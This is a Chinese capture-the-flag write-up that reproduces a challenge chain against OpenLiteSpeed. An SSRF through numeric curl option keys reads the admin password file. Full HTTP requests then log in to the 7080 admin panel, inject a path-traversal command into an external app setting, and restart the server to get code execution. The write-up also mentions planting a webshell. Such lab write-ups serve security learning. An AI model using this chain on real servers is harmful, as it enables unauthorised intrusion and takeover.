比赛时没有头绪,赛后经过查找资料进行了复现。现把复现过程记录下来。

题目回顾

  1. 比赛提供的容器中使用了开源的openlitespeed web中间件。
  2. 容器中提供了curl.so文件。
  3. 根据php代码提示,是个curl 引发的SSRF相关漏洞。

题目Docker附件如下:
openlitespeed_8ed1327d6e588f5625dd8729c7a00269.zip

SO文件有问题 ?

根据index.php的内容,curl_init()curl_exec()判断入口点应该是SSRF类的漏洞。

646725d35e1d2f3fa5dd0d84d1c760aa.png

也怀疑是curl.so文件可能会有命令执行类的后门。
b9e494b51354ccea810c9613bc38cf10.png

经过使用IDA Pro、Ghidra等工具进行分析,发现没有异常,是个正常的so文件。

openlitespeed特性?

因为在curl.so文件中未发现问题,着重点放在了openlitespeed中间件上,因为一般的CTF WEB环境会用nginx、apache这些,这次用了openlitespeed,感觉openlitespeed有猫腻。
根据openlitespeed官网 的简绍,性能比nginx、apache还好。

ad2568867b9bd8f4f7a647dfcc45c30e.png

根据官网doc 的介绍,openlitespeed安装后除了正常的web服务接口,还开放了用来管理的7080端口。
554b83399b3bf9213a1e44f84f3980e8.png

问题就出在这个7080管理端口上。

进行SSRF读取文件

根据index.php中的代码,只要传入CURLOPT_URLurl地址,即可进行SSRF。 这里如果直接传入curl_opt[CURLOPT_URL]代码就会把CURLOPT_URL解析成字符串。无法进行读取文件。

4a10847d0be0a28d5e8ee2bab0649925.png

把上述代码放到PhpStorm中,CURLOPT_URL被定义成10002int类型。
ca598e2e6b2ae4a64d069391513142c6.png

也可以查看CURLOPT_URL的实现,在C:\Users\xxx\PhpStorm-2022.2.2.win\plugins\php\lib\php.jar!\stubs\curl\curl_d.php中实现:
c0b00ce5fbac08130f43bcd9b05b2e76.png

此时,我们可以传入curl_opt[10002]来替代curl_opt[CURLOPT_URL],可以成功进行读取文件:

1c197b2c3dd3121513b53916ef3a902e.png

获取openlitespeed管理密码

前面根据官网的手册,可以确定openlitespeed管理端口为7080端口,还是https类型的。默认的管理用户和密码是随机生成的,保存在/usr/local/lsws/adminpasswd中。

这里可以结合SSRF读取该文件的内容。结果如下:

93578b7a4c495696c820bd81375e43d1.png

获取到用户名和密码为:admin/OTc1MmM4,后面的1是php 请求curl造成的,可以忽略。

确认openlitespeed管理端口

默认的管理端口为7080,根据回显的结果进行判断(端口存在返回1,端口不存在不返回任何信息): 端口不存在情况:

bb5aa0e1dc7a04801b98ea5229bcdeed.png

端口存在情况:
9c2aad66e91e8a5d2e92e7aa4c987bfb.png

由此可以确认openlitespeed的管理端口是默认的7080,没有改。
直接请求https://localhost:7080网站没有返回任何信息,这里是因为管理端口使用了自签的https证书。使用curl要进行忽略ssl验证。要使用CURLOPT_SSL_VERIFYPEERCURLOPT_SSL_VERIFYHOST参数,他俩的定义如下:

define('CURLOPT_SSL_VERIFYPEER', 64);
define('CURLOPT_SSL_VERIFYHOST', 81);

只要传入curl_opt[64]=false&curl_opt[81]=false&curl_opt[10002]=https://localhost:7080/login.php即可看到回显内容。

abdd218c37210619b9f36b9b8b7f46ba.png

进行登录的话,因为需要传递cookies,使用curl会比较麻烦,可以使用Gopher协议进行post登录。

利用openlitespeed进行getshell

先在本地的Docker中映射下7080端口进行调试。

登录

登录post数据包如下:

POST /login.php HTTP/2
Host: 192.168.0.5:7080
Cookie: LSUI37FE0C43B84483E0=d5bb75a40105f0050637fccd01fc3b59; litespeed_admin_lang=english
Content-Length: 26
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://192.168.0.5:7080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.0.5:7080/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

userid=admin&pass=OTc1MmM4

成功登录到后台:

a4576b12afc2964db9188b781b8a62ad.png

版本为OpenLiteSpeed 1.7.16

命令注入

根据网上搜索到的exploit-db Openlitespeed WebServer 1.7.8 - Command Injection 发现其1.7.8版本存在命令注入漏洞。
漏洞点在https://xxxx:7080/index.php#view/confMgr.php?m=serv&p=ext

a29a453f4126168a98848369fa26bcce.png

点击编辑,在Command中就是本次的漏洞点了。
eb7409adbb37ac85bad81f4975654172.png

这里的内容有点限制,像'<等这些特殊符号都是禁止的,而且限制了/usr/local/lsws/这个路径下。不慌,这里可以用../进行跳级。 这里我用touch命令创建个文件进行演示,这里要填../../bin/touch /tmp/maskefd
请求的post数据包如下:

POST /view/confMgr.php HTTP/2
Host: 192.168.0.5:7080
Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=692d05e4e28ca4f1d4c460f5ee9e4cff; LSID37FE0C43B84483E0=lYbu6G3p%2BI4%3D; LSPA37FE0C43B84483E0=lHU5AAYgVU4%3D
Content-Length: 506
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.0.5:7080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.0.5:7080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

name=lsphp&address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock&note=&maxConns=10&env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M&initTimeout=60&retryTimeout=0&persistConn=1&pcKeepAliveTimeout=&respBuffer=0&autoStart=2&path=%2e%2e%2f%2e%2e%2fbin%2ftouch%20%2ftmp%2fmaskefd&backlog=100&instances=1&extUser=&extGroup=&umask=&runOnStartUp=&extMaxIdleTime=&priority=0&memSoftLimit=2047M&memHardLimit=2047M&procSoftLimit=1400&procHardLimit=1500&a=s&m=serv&p=ext&t=A_EXT_LSAPI&r=lsphp&tk=0.73205300+1664442315

重启应用

页面左上角有个下拉选项,选择restart LiteSpeed

4fb32f622e2a83c7b7ecace0c6e8679b.png

260964cb449cb0071ebb5a3fcde9b271.png

相应的post数据包如下:
POST /view/serviceMgr.php HTTP/2
Host: 192.168.0.5:7080
Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=692d05e4e28ca4f1d4c460f5ee9e4cff; LSID37FE0C43B84483E0=lYbu6G3p%2BI4%3D; LSPA37FE0C43B84483E0=lHU5AAYgVU4%3D
Content-Length: 11
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.0.5:7080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.0.5:7080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

act=restart

e65d3e19f5958a459d46d540d1f6ba40.png

触发RCE

提交完成后随意访问80端口的phpinfo.php文件,/tmp目录下生成了相应的文件。

892c30f0070c290c0232a1a12b86660b.png

相应的,可以通过写一句话马到/usr/local/lsws/Example/html/目录下。
写入后需要恢复配置项的Command内容为lsphp74/bin/lsphp,然后再重启一次才行,否则会导致80端口访问不了(相应服务起不来,php解析不了)。

总结

这道题目考察了SSRF和Openlitespeed等Features,虽然难度较为简单,但还是比较耗费时间的。